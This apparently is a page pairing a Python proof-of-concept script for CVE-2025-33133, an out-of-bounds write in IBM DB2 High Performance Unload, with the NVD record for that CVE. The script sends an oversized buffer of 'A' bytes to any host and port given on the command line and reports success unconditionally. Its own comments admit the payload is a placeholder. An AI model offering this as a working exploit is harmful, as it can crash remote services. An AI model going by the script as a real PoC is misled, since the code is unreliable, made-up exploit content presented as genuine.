CVE-2025-33133

#!/usr/bin/env python3 """ CVE-2025-33133 PoC - IBM DB2 High Performance Unload Out of Bounds Write Note: This is a conceptual proof of concept for demonstration purposes. Actual exploitation requires specific product knowledge and access. """ import socket import struct import sys def create_exploit_payload(): """ Create a payload that triggers the out of bounds write condition. The actual payload structure depends on the specific vulnerable function. """ # Header with authentication token header = b'AUTH' + b'\x00' * 12 # Malformed data that triggers boundary violation # This is a placeholder - actual exploitation requires reverse engineering trigger_data = b'\x41' * 10000 # Oversized input # Command structure cmd_type = struct.pack('<I', 0x00000001) # Specific command type length = struct.pack('<I', len(trigger_data)) payload = header + cmd_type + length + trigger_data return payload def send_exploit(target_host, target_port): """ Send the exploit payload to the target service. """ try: print(f'[*] Connecting to {target_host}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_host, target_port)) payload = create_exploit_payload() print(f'[*] Sending payload ({len(payload)} bytes)') sock.send(payload) # Wait for response response = sock.recv(4096) print(f'[*] Received response: {response[:100]}') sock.close() print('[+] Exploit sent successfully') return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_host> <port>') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port)

{"cve": {"id": "CVE-2025-33133", "sourceIdentifier": "[email protected]", "published": "2025-10-28T00:15:38.410", "lastModified": "2025-11-06T17:41:04.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM DB2 High Performance Unload 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, and 5.1 could allow an authenticated user to cause the program to crash due an out of bounds write."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.1.0.0", "versionEndIncluding": "6.1.0.0", "matchCriteriaId": "EAD3A49C-CBF6-4014-8C06-FB420BEB54A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.1:-:*:*:*:*:*:*", "matchCriteriaId": "3D79E685-229A-495B-9737-084F472403CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.2:-:*:*:*:*:*:*", "matchCriteriaId": "59CAECE6-E2F0-46D2-B7EE-EFA600072730"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.3:-:*:*:*:*:*:*", "matchCriteriaId": "E7DBB818-2879-4BD5-9A05-ABDF771A23D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D6ACF327-FF08-49B3-8902-7759258B18C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:if1:*:*:*:*:*:*", "matchCriteriaId": "2BEF8EB1-FB2A-4CD4-BA6B-6DFD18441227"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:ibm:linux_on_ibm_z:-:*:*:*:*:*:*:*", "matchCriteriaId": "B955E472-47E3-4C32-847B-F6BB05594BA3"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249336", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}